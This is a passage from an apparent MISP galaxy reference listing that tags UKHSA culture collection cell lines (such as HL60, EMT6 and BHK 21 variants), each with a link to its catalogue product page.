https://www.culturecollections.org.uk/nop/product/nmumg

NH15-CA2

The tag is: *misp-galaxy:ukhsa-culture-collections="NH15-CA2"*

Table 30212. Table References

Links
https://www.culturecollections.org.uk/nop/product/nh15-ca2

NG115-401L

The tag is: *misp-galaxy:ukhsa-culture-collections="NG115-401L"*

Table 30213. Table References

Links
https://www.culturecollections.org.uk/nop/product/ng115-401l

NFS-25 C-3

The tag is: *misp-galaxy:ukhsa-culture-collections="NFS-25 C-3"*

Table 30214. Table References

Links
https://www.culturecollections.org.uk/nop/product/nfs-25-c-3

ND-C

The tag is: *misp-galaxy:ukhsa-culture-collections="ND-C"*

Table 30215. Table References

Links
https://www.culturecollections.org.uk/nop/product/nd-c

ND8/34

The tag is: *misp-galaxy:ukhsa-culture-collections="ND8/34"*

Table 30216. Table References

Links
https://www.culturecollections.org.uk/nop/product/nd834

ND7/23

The tag is: *misp-galaxy:ukhsa-culture-collections="ND7/23"*

Table 30217. Table References

Links
https://www.culturecollections.org.uk/nop/product/nd723

ND3

The tag is: *misp-galaxy:ukhsa-culture-collections="ND3"*

Table 30218. Table References

Links
https://www.culturecollections.org.uk/nop/product/nd3

ND27

The tag is: *misp-galaxy:ukhsa-culture-collections="ND27"*

Table 30219. Table References

Links
https://www.culturecollections.org.uk/nop/product/nd27

ND15

The tag is: *misp-galaxy:ukhsa-culture-collections="ND15"*

Table 30220. Table References

Links
https://www.culturecollections.org.uk/nop/product/nd15

NCTC 4093

The tag is: *misp-galaxy:ukhsa-culture-collections="NCTC 4093"*

Table 30221. Table References

Links
https://www.culturecollections.org.uk/nop/product/nctc-4093

NCTC 2071

The tag is: *misp-galaxy:ukhsa-culture-collections="NCTC 2071"*

Table 30222. Table References

Links
https://www.culturecollections.org.uk/nop/product/nctc-2071

NCI-H69/LX20

The tag is: *misp-galaxy:ukhsa-culture-collections="NCI-H69/LX20"*

Table 30223. Table References

Links
https://www.culturecollections.org.uk/nop/product/nci-h69lx20

NCI-H69/LX10

The tag is: *misp-galaxy:ukhsa-culture-collections="NCI-H69/LX10"*

Table 30224. Table References

Links
https://www.culturecollections.org.uk/nop/product/nci-h69lx10

NCI-H510A

The tag is: *misp-galaxy:ukhsa-culture-collections="NCI-H510A"*

Table 30225. Table References

Links
https://www.culturecollections.org.uk/nop/product/nci-h510a

NBT-II

The tag is: *misp-galaxy:ukhsa-culture-collections="NBT-II"*

Table 30226. Table References

Links
https://www.culturecollections.org.uk/nop/product/nbt-ii

NB4 1A3

The tag is: *misp-galaxy:ukhsa-culture-collections="NB4 1A3"*

Table 30227. Table References

Links
https://www.culturecollections.org.uk/nop/product/nb4-1a3

N4TG3

The tag is: *misp-galaxy:ukhsa-culture-collections="N4TG3"*

Table 30228. Table References

Links
https://www.culturecollections.org.uk/nop/product/n4tg3

N2102Ep Clone 2/A6

The tag is: *misp-galaxy:ukhsa-culture-collections="N2102Ep Clone 2/A6"*

Table 30229. Table References

Links
https://www.culturecollections.org.uk/nop/product/n2102ep-clone-2a6

N1E-115

The tag is: *misp-galaxy:ukhsa-culture-collections="N1E-115"*

Table 30230. Table References

Links
https://www.culturecollections.org.uk/nop/product/n1e-115

N18TG2

The tag is: *misp-galaxy:ukhsa-culture-collections="N18TG2"*

Table 30231. Table References

Links
https://www.culturecollections.org.uk/nop/product/n18tg2

N18 (Hamprecht)

The tag is: *misp-galaxy:ukhsa-culture-collections="N18 (Hamprecht)"*

Table 30232. Table References

Links
https://www.culturecollections.org.uk/nop/product/n18-hamprecht

N115-BU-9

The tag is: *misp-galaxy:ukhsa-culture-collections="N115-BU-9"*

Table 30233. Table References

Links
https://www.culturecollections.org.uk/nop/product/n115-bu-9

N115-BU-8

The tag is: *misp-galaxy:ukhsa-culture-collections="N115-BU-8"*

Table 30234. Table References

Links
https://www.culturecollections.org.uk/nop/product/n115-bu-8

N115-BU-7

The tag is: *misp-galaxy:ukhsa-culture-collections="N115-BU-7"*

Table 30235. Table References

Links
https://www.culturecollections.org.uk/nop/product/n115-bu-7

N115-BU-2

The tag is: *misp-galaxy:ukhsa-culture-collections="N115-BU-2"*

Table 30236. Table References

Links
https://www.culturecollections.org.uk/nop/product/n115-bu-2

N115-BU-10

The tag is: *misp-galaxy:ukhsa-culture-collections="N115-BU-10"*

Table 30237. Table References

Links
https://www.culturecollections.org.uk/nop/product/n115-bu-10

N115-BU-1

The tag is: *misp-galaxy:ukhsa-culture-collections="N115-BU-1"*

Table 30238. Table References

Links
https://www.culturecollections.org.uk/nop/product/n115-bu-1

Mv.1.Lu

The tag is: *misp-galaxy:ukhsa-culture-collections="Mv.1.Lu"*

Table 30239. Table References

Links
https://www.culturecollections.org.uk/nop/product/mv1lu

MRC-7

The tag is: *misp-galaxy:ukhsa-culture-collections="MRC-7"*

Table 30240. Table References

Links
https://www.culturecollections.org.uk/nop/product/mrc-7

MOR/0.2R

The tag is: *misp-galaxy:ukhsa-culture-collections="MOR/0.2R"*

Table 30241. Table References

Links
https://www.culturecollections.org.uk/nop/product/mor02r

MOPC 31C

The tag is: *misp-galaxy:ukhsa-culture-collections="MOPC 31C"*

Table 30242. Table References

Links
https://www.culturecollections.org.uk/nop/product/mopc-31c

MOPC 315

The tag is: *misp-galaxy:ukhsa-culture-collections="MOPC 315"*

Table 30243. Table References

Links
https://www.culturecollections.org.uk/nop/product/mopc-315

MOLT-3

The tag is: *misp-galaxy:ukhsa-culture-collections="MOLT-3"*

Table 30244. Table References

Links
https://www.culturecollections.org.uk/nop/product/molt-3

MMT-060562

The tag is: *misp-galaxy:ukhsa-culture-collections="MMT-060562"*

Table 30245. Table References

Links
https://www.culturecollections.org.uk/nop/product/mmt-060562

MiCL1 (S+L-)

The tag is: *misp-galaxy:ukhsa-culture-collections="MiCL1 (S+L-)"*

Table 30246. Table References

Links
https://www.culturecollections.org.uk/nop/product/micl1-sl-

MH-22A

The tag is: *misp-galaxy:ukhsa-culture-collections="MH-22A"*

Table 30247. Table References

Links
https://www.culturecollections.org.uk/nop/product/mh-22a

Meta 7

The tag is: *misp-galaxy:ukhsa-culture-collections="Meta 7"*

Table 30248. Table References

Links
https://www.culturecollections.org.uk/nop/product/meta-7

Meta 15

The tag is: *misp-galaxy:ukhsa-culture-collections="Meta 15"*

Table 30249. Table References

Links
https://www.culturecollections.org.uk/nop/product/meta-15

Meta 10

The tag is: *misp-galaxy:ukhsa-culture-collections="Meta 10"*

Table 30250. Table References

Links
https://www.culturecollections.org.uk/nop/product/meta-10

MES-SA/Dx-5

The tag is: *misp-galaxy:ukhsa-culture-collections="MES-SA/Dx-5"*

Table 30251. Table References

Links
https://www.culturecollections.org.uk/nop/product/mes-sadx-5

MCA-RH 7777

The tag is: *misp-galaxy:ukhsa-culture-collections="MCA-RH 7777"*

Table 30252. Table References

Links
https://www.culturecollections.org.uk/nop/product/mca-rh-7777

MAT-LyLu

The tag is: *misp-galaxy:ukhsa-culture-collections="MAT-LyLu"*

Table 30253. Table References

Links
https://www.culturecollections.org.uk/nop/product/mat-lylu

MAT-Lu

The tag is: *misp-galaxy:ukhsa-culture-collections="MAT-Lu"*

Table 30254. Table References

Links
https://www.culturecollections.org.uk/nop/product/mat-lu

M3 Clone M-3

The tag is: *misp-galaxy:ukhsa-culture-collections="M3 Clone M-3"*

Table 30255. Table References

Links
https://www.culturecollections.org.uk/nop/product/m3-clone-m-3

M1

The tag is: *misp-galaxy:ukhsa-culture-collections="M1"*

Table 30256. Table References

Links
https://www.culturecollections.org.uk/nop/product/m1
https://www.culturecollections.org.uk/nop/product/m1-2

M. dunni (Clone III8C)

The tag is: *misp-galaxy:ukhsa-culture-collections="M. dunni (Clone III8C)"*

Table 30257. Table References

Links
https://www.culturecollections.org.uk/nop/product/m-dunni-clone-iii8c

C17.2

The tag is: *misp-galaxy:ukhsa-culture-collections="C17.2"*

Table 30258. Table References

Links
https://www.culturecollections.org.uk/nop/product/c172

L-M

The tag is: *misp-galaxy:ukhsa-culture-collections="L-M"*

Table 30259. Table References

Links
https://www.culturecollections.org.uk/nop/product/l-m

LLC-PK1

The tag is: *misp-galaxy:ukhsa-culture-collections="LLC-PK1"*

Table 30260. Table References

Links
https://www.culturecollections.org.uk/nop/product/llc-pk1

LL24

The tag is: *misp-galaxy:ukhsa-culture-collections="LL24"*

Table 30261. Table References

Links
https://www.culturecollections.org.uk/nop/product/ll24

LL/2(LLc1)

The tag is: *misp-galaxy:ukhsa-culture-collections="LL/2(LLc1)"*

Table 30262. Table References

Links
https://www.culturecollections.org.uk/nop/product/ll2llc1

LC540

The tag is: *misp-galaxy:ukhsa-culture-collections="LC540"*

Table 30263. Table References

Links
https://www.culturecollections.org.uk/nop/product/lc540

LBRM-33-1A5

The tag is: *misp-galaxy:ukhsa-culture-collections="LBRM-33-1A5"*

Table 30264. Table References

Links
https://www.culturecollections.org.uk/nop/product/lbrm-33-1a5

LBRM-TG6

The tag is: *misp-galaxy:ukhsa-culture-collections="LBRM-TG6"*

Table 30265. Table References

Links
https://www.culturecollections.org.uk/nop/product/lbrm-tg6

LA-4

The tag is: *misp-galaxy:ukhsa-culture-collections="LA-4"*

Table 30266. Table References

Links
https://www.culturecollections.org.uk/nop/product/la-4

L-2

The tag is: *misp-galaxy:ukhsa-culture-collections="L-2"*

Table 30267. Table References

Links
https://www.culturecollections.org.uk/nop/product/l-2

L1210

The tag is: *misp-galaxy:ukhsa-culture-collections="L1210"*

Table 30268. Table References

Links
https://www.culturecollections.org.uk/nop/product/l1210

KU-812E

The tag is: *misp-galaxy:ukhsa-culture-collections="KU-812E"*

Table 30269. Table References

Links
https://www.culturecollections.org.uk/nop/product/ku-812e

KCB 89001

The tag is: *misp-galaxy:ukhsa-culture-collections="KCB 89001"*

Table 30270. Table References

Links
https://www.culturecollections.org.uk/nop/product/kcb-89001

K6H6/B5

The tag is: *misp-galaxy:ukhsa-culture-collections="K6H6/B5"*

Table 30271. Table References

Links
https://www.culturecollections.org.uk/nop/product/k6h6b5

JTC-19

The tag is: *misp-galaxy:ukhsa-culture-collections="JTC-19"*

Table 30272. Table References

Links
https://www.culturecollections.org.uk/nop/product/jtc-19

JH4 clone 1

The tag is: *misp-galaxy:ukhsa-culture-collections="JH4 clone 1"*

Table 30273. Table References

Links
https://www.culturecollections.org.uk/nop/product/jh4-clone-1

Jensen sarcoma

The tag is: *misp-galaxy:ukhsa-culture-collections="Jensen sarcoma"*

Table 30274. Table References

Links
https://www.culturecollections.org.uk/nop/product/jensen-sarcoma

J774.2

The tag is: *misp-galaxy:ukhsa-culture-collections="J774.2"*

Table 30275. Table References

Links
https://www.culturecollections.org.uk/nop/product/j7742

J45.01

The tag is: *misp-galaxy:ukhsa-culture-collections="J45.01"*

Table 30276. Table References

Links
https://www.culturecollections.org.uk/nop/product/j4501

Indian Muntjac

The tag is: *misp-galaxy:ukhsa-culture-collections="Indian Muntjac"*

Table 30277. Table References

Links
https://www.culturecollections.org.uk/nop/product/indian-muntjac

IMR 32

The tag is: *misp-galaxy:ukhsa-culture-collections="IMR 32"*

Table 30278. Table References

Links
https://www.culturecollections.org.uk/nop/product/imr-32

II b

The tag is: *misp-galaxy:ukhsa-culture-collections="II b"*

Table 30279. Table References

Links
https://www.culturecollections.org.uk/nop/product/ii-b

IgH-2

The tag is: *misp-galaxy:ukhsa-culture-collections="IgH-2"*

Table 30280. Table References

Links
https://www.culturecollections.org.uk/nop/product/igh-2

IEC 18

The tag is: *misp-galaxy:ukhsa-culture-collections="IEC 18"*

Table 30281. Table References

Links
https://www.culturecollections.org.uk/nop/product/iec-18

ICR-2A

The tag is: *misp-galaxy:ukhsa-culture-collections="ICR-2A"*

Table 30282. Table References

Links
https://www.culturecollections.org.uk/nop/product/icr-2a

IA-Xs SBR

The tag is: *misp-galaxy:ukhsa-culture-collections="IA-Xs SBR"*

Table 30283. Table References

Links
https://www.culturecollections.org.uk/nop/product/ia-xs-sbr

I-10

The tag is: *misp-galaxy:ukhsa-culture-collections="I-10"*

Table 30284. Table References

Links
https://www.culturecollections.org.uk/nop/product/i-10

HUT-78

The tag is: *misp-galaxy:ukhsa-culture-collections="HUT-78"*

Table 30285. Table References

Links
https://www.culturecollections.org.uk/nop/product/hut-78

HTC (BUdR)

The tag is: *misp-galaxy:ukhsa-culture-collections="HTC (BUdR)"*

Table 30286. Table References

Links
https://www.culturecollections.org.uk/nop/product/htc-budr

HT29 gluc C1

The tag is: *misp-galaxy:ukhsa-culture-collections="HT29 gluc C1"*

Table 30287. Table References

Links
https://www.culturecollections.org.uk/nop/product/ht29-gluc-c1

HSDM1C1

The tag is: *misp-galaxy:ukhsa-culture-collections="HSDM1C1"*

Table 30288. Table References

Links
https://www.culturecollections.org.uk/nop/product/hsdm1c1

Hs 1.Tes

The tag is: *misp-galaxy:ukhsa-culture-collections="Hs 1.Tes"*

Table 30289. Table References

Links
https://www.culturecollections.org.uk/nop/product/hs-1tes

Hs 888Lu

The tag is: *misp-galaxy:ukhsa-culture-collections="Hs 888Lu"*

Table 30290. Table References

Links
https://www.culturecollections.org.uk/nop/product/hs-888lu

Hs 68

The tag is: *misp-galaxy:ukhsa-culture-collections="Hs 68"*

Table 30291. Table References

Links
https://www.culturecollections.org.uk/nop/product/hs-68

Hs 633T

The tag is: *misp-galaxy:ukhsa-culture-collections="Hs 633T"*

Table 30292. Table References

Links
https://www.culturecollections.org.uk/nop/product/hs-633t

HL60 M4

The tag is: *misp-galaxy:ukhsa-culture-collections="HL60 M4"*

Table 30293. Table References

Links
https://www.culturecollections.org.uk/nop/product/hl60-m4

HL60 M2

The tag is: *misp-galaxy:ukhsa-culture-collections="HL60 M2"*

Table 30294. Table References

Links
https://www.culturecollections.org.uk/nop/product/hl60-m2

HL60 15-12

The tag is: *misp-galaxy:ukhsa-culture-collections="HL60 15-12"*

Table 30295. Table References

Links
https://www.culturecollections.org.uk/nop/product/hl60-15-12

HF2x653

The tag is: *misp-galaxy:ukhsa-culture-collections="HF2x653"*

Table 30296. Table References

Links
https://www.culturecollections.org.uk/nop/product/hf2x653

HF1-5

The tag is: *misp-galaxy:ukhsa-culture-collections="HF1-5"*

Table 30297. Table References

Links
https://www.culturecollections.org.uk/nop/product/hf1-5

HF1

The tag is: *misp-galaxy:ukhsa-culture-collections="HF1"*

Table 30298. Table References

Links
https://www.culturecollections.org.uk/nop/product/hf1

HEPM

The tag is: *misp-galaxy:ukhsa-culture-collections="HEPM"*

Table 30299. Table References

Links
https://www.culturecollections.org.uk/nop/product/hepm

Hepa-1c1c7

The tag is: *misp-galaxy:ukhsa-culture-collections="Hepa-1c1c7"*

Table 30300. Table References

Links
https://www.culturecollections.org.uk/nop/product/hepa-1c1c7

HeLa DH

The tag is: *misp-galaxy:ukhsa-culture-collections="HeLa DH"*

Table 30301. Table References

Links
https://www.culturecollections.org.uk/nop/product/hela-dh

HaP-T1

The tag is: *misp-galaxy:ukhsa-culture-collections="HaP-T1"*

Table 30302. Table References

Links
https://www.culturecollections.org.uk/nop/product/hap-t1

H4S

The tag is: *misp-galaxy:ukhsa-culture-collections="H4S"*

Table 30303. Table References

Links
https://www.culturecollections.org.uk/nop/product/h4s

H4-II-E-C3

The tag is: *misp-galaxy:ukhsa-culture-collections="H4-II-E-C3"*

Table 30304. Table References

Links
https://www.culturecollections.org.uk/nop/product/h4-ii-e-c3

H-4-II-E

The tag is: *misp-galaxy:ukhsa-culture-collections="H-4-II-E"*

Table 30305. Table References

Links
https://www.culturecollections.org.uk/nop/product/h-4-ii-e

H4II

The tag is: *misp-galaxy:ukhsa-culture-collections="H4II"*

Table 30306. Table References

Links
https://www.culturecollections.org.uk/nop/product/h4ii

H33HJ-JA1

The tag is: *misp-galaxy:ukhsa-culture-collections="H33HJ-JA1"*

Table 30307. Table References

Links
https://www.culturecollections.org.uk/nop/product/h33hj-ja1

GS-9L

The tag is: *misp-galaxy:ukhsa-culture-collections="GS-9L"*

Table 30308. Table References

Links
https://www.culturecollections.org.uk/nop/product/gs-9l

GS-109-V-20

The tag is: *misp-galaxy:ukhsa-culture-collections="GS-109-V-20"*

Table 30309. Table References

Links
https://www.culturecollections.org.uk/nop/product/gs-109-v-20

GM1899A

The tag is: *misp-galaxy:ukhsa-culture-collections="GM1899A"*

Table 30310. Table References

Links
https://www.culturecollections.org.uk/nop/product/gm1899a

GL-1

The tag is: *misp-galaxy:ukhsa-culture-collections="GL-1"*

Table 30311. Table References

Links
https://www.culturecollections.org.uk/nop/product/gl-1

GH1

The tag is: *misp-galaxy:ukhsa-culture-collections="GH1"*

Table 30312. Table References

Links
https://www.culturecollections.org.uk/nop/product/gh1

G-8

The tag is: *misp-galaxy:ukhsa-culture-collections="G-8"*

Table 30313. Table References

Links
https://www.culturecollections.org.uk/nop/product/g-8

G-7

The tag is: *misp-galaxy:ukhsa-culture-collections="G-7"*

Table 30314. Table References

Links
https://www.culturecollections.org.uk/nop/product/g-7

G-292 Clone A141B1

The tag is: *misp-galaxy:ukhsa-culture-collections="G-292 Clone A141B1"*

Table 30315. Table References

Links
https://www.culturecollections.org.uk/nop/product/g-292-clone-a141b1

FM3Ats C1.T85

The tag is: *misp-galaxy:ukhsa-culture-collections="FM3Ats C1.T85"*

Table 30316. Table References

Links
https://www.culturecollections.org.uk/nop/product/fm3ats-c1t85

FM3A

The tag is: *misp-galaxy:ukhsa-culture-collections="FM3A"*

Table 30317. Table References

Links
https://www.culturecollections.org.uk/nop/product/fm3a

Fc3Tg

The tag is: *misp-galaxy:ukhsa-culture-collections="Fc3Tg"*

Table 30318. Table References

Links
https://www.culturecollections.org.uk/nop/product/fc3tg

Fc2Lu

The tag is: *misp-galaxy:ukhsa-culture-collections="Fc2Lu"*

Table 30319. Table References

Links
https://www.culturecollections.org.uk/nop/product/fc2lu

F4N (MEL)

The tag is: *misp-galaxy:ukhsa-culture-collections="F4N (MEL)"*

Table 30320. Table References

Links
https://www.culturecollections.org.uk/nop/product/f4n-mel

ESK-4

The tag is: *misp-galaxy:ukhsa-culture-collections="ESK-4"*

Table 30321. Table References

Links
https://www.culturecollections.org.uk/nop/product/esk-4

EMT6/VRP/R

The tag is: *misp-galaxy:ukhsa-culture-collections="EMT6/VRP/R"*

Table 30322. Table References

Links
https://www.culturecollections.org.uk/nop/product/emt6vrpr

EMT6/VCR/R

The tag is: *misp-galaxy:ukhsa-culture-collections="EMT6/VCR/R"*

Table 30323. Table References

Links
https://www.culturecollections.org.uk/nop/product/emt6vcrr

EMT6/MTXR

The tag is: *misp-galaxy:ukhsa-culture-collections="EMT6/MTXR"*

Table 30324. Table References

Links
https://www.culturecollections.org.uk/nop/product/emt6mtxr

EMT6/CPR

The tag is: *misp-galaxy:ukhsa-culture-collections="EMT6/CPR"*

Table 30325. Table References

Links
https://www.culturecollections.org.uk/nop/product/emt6cpr

EMT6/AR10.0

The tag is: *misp-galaxy:ukhsa-culture-collections="EMT6/AR10.0"*

Table 30326. Table References

Links
https://www.culturecollections.org.uk/nop/product/emt6ar100

EMT6/AR1

The tag is: *misp-galaxy:ukhsa-culture-collections="EMT6/AR1"*

Table 30327. Table References

Links
https://www.culturecollections.org.uk/nop/product/emt6ar1

EL4.NOB-1

The tag is: *misp-galaxy:ukhsa-culture-collections="EL4.NOB-1"*

Table 30328. Table References

Links
https://www.culturecollections.org.uk/nop/product/el4nob-1

EIII

The tag is: *misp-galaxy:ukhsa-culture-collections="EIII"*

Table 30329. Table References

Links
https://www.culturecollections.org.uk/nop/product/eiii

Ehrlich-Lettre Ascites strain E

The tag is: *misp-galaxy:ukhsa-culture-collections="Ehrlich-Lettre Ascites strain E"*

Table 30330. Table References

Links
https://www.culturecollections.org.uk/nop/product/ehrlich-lettre-ascites-strain-e

EBTr

The tag is: *misp-galaxy:ukhsa-culture-collections="EBTr"*

Table 30331. Table References

Links
https://www.culturecollections.org.uk/nop/product/ebtr

Ea.4

The tag is: *misp-galaxy:ukhsa-culture-collections="Ea.4"*

Table 30332. Table References

Links
https://www.culturecollections.org.uk/nop/product/ea4

DSL6A/C1

The tag is: *misp-galaxy:ukhsa-culture-collections="DSL6A/C1"*

Table 30333. Table References

Links
https://www.culturecollections.org.uk/nop/product/dsl6ac1

DHD/K12/TRb

The tag is: *misp-galaxy:ukhsa-culture-collections="DHD/K12/TRb"*

Table 30334. Table References

Links
https://www.culturecollections.org.uk/nop/product/dhdk12trb

Detroit 573

The tag is: *misp-galaxy:ukhsa-culture-collections="Detroit 573"*

Table 30335. Table References

Links
https://www.culturecollections.org.uk/nop/product/detroit-573

DEDE

The tag is: *misp-galaxy:ukhsa-culture-collections="DEDE"*

Table 30336. Table References

Links
https://www.culturecollections.org.uk/nop/product/dede

DDT1-MF2

The tag is: *misp-galaxy:ukhsa-culture-collections="DDT1-MF2"*

Table 30337. Table References

Links
https://www.culturecollections.org.uk/nop/product/ddt1-mf2

CTAC

The tag is: *misp-galaxy:ukhsa-culture-collections="CTAC"*

Table 30338. Table References

Links
https://www.culturecollections.org.uk/nop/product/ctac

CSE-119

The tag is: *misp-galaxy:ukhsa-culture-collections="CSE-119"*

Table 30339. Table References

Links
https://www.culturecollections.org.uk/nop/product/cse-119

CRI-G1

The tag is: *misp-galaxy:ukhsa-culture-collections="CRI-G1"*

Table 30340. Table References

Links
https://www.culturecollections.org.uk/nop/product/cri-g1

CRI-D2

The tag is: *misp-galaxy:ukhsa-culture-collections="CRI-D2"*

Table 30341. Table References

Links
https://www.culturecollections.org.uk/nop/product/cri-d2

CRFK (BVD Ag negative)

The tag is: *misp-galaxy:ukhsa-culture-collections="CRFK (BVD Ag negative)"*

Table 30342. Table References

Links
https://www.culturecollections.org.uk/nop/product/crfk-bvd-ag-negative

CPAE

The tag is: *misp-galaxy:ukhsa-culture-collections="CPAE"*

Table 30343. Table References

Links
https://www.culturecollections.org.uk/nop/product/cpae

CP5

The tag is: *misp-galaxy:ukhsa-culture-collections="CP5"*

Table 30344. Table References

Links
https://www.culturecollections.org.uk/nop/product/cp5

COR-L32

The tag is: *misp-galaxy:ukhsa-culture-collections="COR-L32"*

Table 30345. Table References

Links
https://www.culturecollections.org.uk/nop/product/cor-l32

COR-L26

The tag is: *misp-galaxy:ukhsa-culture-collections="COR-L26"*

Table 30346. Table References

Links
https://www.culturecollections.org.uk/nop/product/cor-l26

COR-L23/R

The tag is: *misp-galaxy:ukhsa-culture-collections="COR-L23/R"*

Table 30347. Table References

Links
https://www.culturecollections.org.uk/nop/product/cor-l23r

COLO 775

The tag is: *misp-galaxy:ukhsa-culture-collections="COLO 775"*

Table 30348. Table References

Links
https://www.culturecollections.org.uk/nop/product/colo-775

COLO 738

The tag is: *misp-galaxy:ukhsa-culture-collections="COLO 738"*

Table 30349. Table References

Links
https://www.culturecollections.org.uk/nop/product/colo-738

COLO 320HSR

The tag is: *misp-galaxy:ukhsa-culture-collections="COLO 320HSR"*

Table 30350. Table References

Links
https://www.culturecollections.org.uk/nop/product/colo-320hsr

COLO 320 DMF

The tag is: *misp-galaxy:ukhsa-culture-collections="COLO 320 DMF"*

Table 30351. Table References

Links
https://www.culturecollections.org.uk/nop/product/colo-320-dmf

CNC 127I

The tag is: *misp-galaxy:ukhsa-culture-collections="CNC 127I"*

Table 30352. Table References

Links
https://www.culturecollections.org.uk/nop/product/cnc-127i

CL-S1

The tag is: *misp-galaxy:ukhsa-culture-collections="CL-S1"*

Table 30353. Table References

Links
https://www.culturecollections.org.uk/nop/product/cl-s1

Clone 9

The tag is: *misp-galaxy:ukhsa-culture-collections="Clone 9"*

Table 30354. Table References

Links
https://www.culturecollections.org.uk/nop/product/clone-9

Clone 707

The tag is: *misp-galaxy:ukhsa-culture-collections="Clone 707"*

Table 30355. Table References

Links
https://www.culturecollections.org.uk/nop/product/clone-707

CLC

The tag is: *misp-galaxy:ukhsa-culture-collections="CLC"*

Table 30356. Table References

Links
https://www.culturecollections.org.uk/nop/product/clc

CHO-K1/SF

The tag is: *misp-galaxy:ukhsa-culture-collections="CHO-K1/SF"*

Table 30357. Table References

Links
https://www.culturecollections.org.uk/nop/product/cho-k1sf

CHL

The tag is: *misp-galaxy:ukhsa-culture-collections="CHL"*

Table 30358. Table References

Links
https://www.culturecollections.org.uk/nop/product/chl

CF2Th

The tag is: *misp-galaxy:ukhsa-culture-collections="CF2Th"*

Table 30359. Table References

Links
https://www.culturecollections.org.uk/nop/product/cf2th

CCRF-SB

The tag is: *misp-galaxy:ukhsa-culture-collections="CCRF-SB"*

Table 30360. Table References

Links
https://www.culturecollections.org.uk/nop/product/ccrf-sb

CCRF S-180 II

The tag is: *misp-galaxy:ukhsa-culture-collections="CCRF S-180 II"*

Table 30361. Table References

Links
https://www.culturecollections.org.uk/nop/product/ccrf-s-180-ii

CCO

The tag is: *misp-galaxy:ukhsa-culture-collections="CCO"*

Table 30362. Table References

Links
https://www.culturecollections.org.uk/nop/product/cco

CCF-STTG1

The tag is: *misp-galaxy:ukhsa-culture-collections="CCF-STTG1"*

Table 30363. Table References

Links
https://www.culturecollections.org.uk/nop/product/ccf-sttg1

CCD-33Lu

The tag is: *misp-galaxy:ukhsa-culture-collections="CCD-33Lu"*

Table 30364. Table References

Links
https://www.culturecollections.org.uk/nop/product/ccd-33lu

CCD-32Lu

The tag is: *misp-galaxy:ukhsa-culture-collections="CCD-32Lu"*

Table 30365. Table References

Links
https://www.culturecollections.org.uk/nop/product/ccd-32lu

CCD-29Lu

The tag is: *misp-galaxy:ukhsa-culture-collections="CCD-29Lu"*

Table 30366. Table References

Links
https://www.culturecollections.org.uk/nop/product/ccd-29lu

CCD 25Lu

The tag is: *misp-galaxy:ukhsa-culture-collections="CCD 25Lu"*

Table 30367. Table References

Links
https://www.culturecollections.org.uk/nop/product/ccd-25lu

CC-1

The tag is: *misp-galaxy:ukhsa-culture-collections="CC-1"*

Table 30368. Table References

Links
https://www.culturecollections.org.uk/nop/product/cc-1

CA46

The tag is: *misp-galaxy:ukhsa-culture-collections="CA46"*

Table 30369. Table References

Links
https://www.culturecollections.org.uk/nop/product/ca46

C8166

The tag is: *misp-galaxy:ukhsa-culture-collections="C8166"*

Table 30370. Table References

Links
https://www.culturecollections.org.uk/nop/product/c8166

C6-BU-1

The tag is: *misp-galaxy:ukhsa-culture-collections="C6-BU-1"*

Table 30371. Table References

Links
https://www.culturecollections.org.uk/nop/product/c6-bu-1

C6-4-2

The tag is: *misp-galaxy:ukhsa-culture-collections="C6-4-2"*

Table 30372. Table References

Links
https://www.culturecollections.org.uk/nop/product/c6-4-2

C6-2-3

The tag is: *misp-galaxy:ukhsa-culture-collections="C6-2-3"*

Table 30373. Table References

Links
https://www.culturecollections.org.uk/nop/product/c6-2-3

C57/B1

The tag is: *misp-galaxy:ukhsa-culture-collections="C57/B1"*

Table 30374. Table References

Links
https://www.culturecollections.org.uk/nop/product/c57b1

C3H/MCA clone 16

The tag is: *misp-galaxy:ukhsa-culture-collections="C3H/MCA clone 16"*

Table 30375. Table References

Links
https://www.culturecollections.org.uk/nop/product/c3hmca-clone-16

C2-Rev 7

The tag is: *misp-galaxy:ukhsa-culture-collections="C2-Rev 7"*

Table 30376. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2-rev-7

C2

The tag is: *misp-galaxy:ukhsa-culture-collections="C2"*

Table 30377. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2

C127I

The tag is: *misp-galaxy:ukhsa-culture-collections="C127I"*

Table 30378. Table References

Links
https://www.culturecollections.org.uk/nop/product/c127i

BW5147.G.1.4.OUAR.1

The tag is: *misp-galaxy:ukhsa-culture-collections="BW5147.G.1.4.OUAR.1"*

Table 30379. Table References

Links
https://www.culturecollections.org.uk/nop/product/bw5147g14ouar1

BW1J

The tag is: *misp-galaxy:ukhsa-culture-collections="BW1J"*

Table 30380. Table References

Links
https://www.culturecollections.org.uk/nop/product/bw1j

Bu (IMR-31)

The tag is: *misp-galaxy:ukhsa-culture-collections="Bu (IMR-31)"*

Table 30381. Table References

Links
https://www.culturecollections.org.uk/nop/product/bu-imr-31

BS1-B4

The tag is: *misp-galaxy:ukhsa-culture-collections="BS1-B4"*

Table 30382. Table References

Links
https://www.culturecollections.org.uk/nop/product/bs1-b4

BRL-1

The tag is: *misp-galaxy:ukhsa-culture-collections="BRL-1"*

Table 30383. Table References

Links
https://www.culturecollections.org.uk/nop/product/brl-1

BRISTOL 8

The tag is: *misp-galaxy:ukhsa-culture-collections="BRISTOL 8"*

Table 30384. Table References

Links
https://www.culturecollections.org.uk/nop/product/bristol-8

BRL 3A

The tag is: *misp-galaxy:ukhsa-culture-collections="BRL 3A"*

Table 30385. Table References

Links
https://www.culturecollections.org.uk/nop/product/brl-3a

BL-3

The tag is: *misp-galaxy:ukhsa-culture-collections="BL-3"*

Table 30386. Table References

Links
https://www.culturecollections.org.uk/nop/product/bl-3

BHK/AC9

The tag is: *misp-galaxy:ukhsa-culture-collections="BHK/AC9"*

Table 30387. Table References

Links
https://www.culturecollections.org.uk/nop/product/bhkac9

BHK TK-

The tag is: *misp-galaxy:ukhsa-culture-collections="BHK TK-"*

Table 30388. Table References

Links
https://www.culturecollections.org.uk/nop/product/bhk-tk-

BHK 21 STRAIN 38

The tag is: *misp-galaxy:ukhsa-culture-collections="BHK 21 STRAIN 38"*

Table 30389. Table References

Links
https://www.culturecollections.org.uk/nop/product/bhk-21-strain-38

BHK 21 STRAIN 35

The tag is: *misp-galaxy:ukhsa-culture-collections="BHK 21 STRAIN 35"*

Table 30390. Table References

Links
https://www.culturecollections.org.uk/nop/product/bhk-21-strain-35

BHK 21 STRAIN 31

The tag is: *misp-galaxy:ukhsa-culture-collections="BHK 21 STRAIN 31"*

Table 30391. Table References

Links
https://www.culturecollections.org.uk/nop/product/bhk-21-strain-31

BHK 21 CL13(IZS)

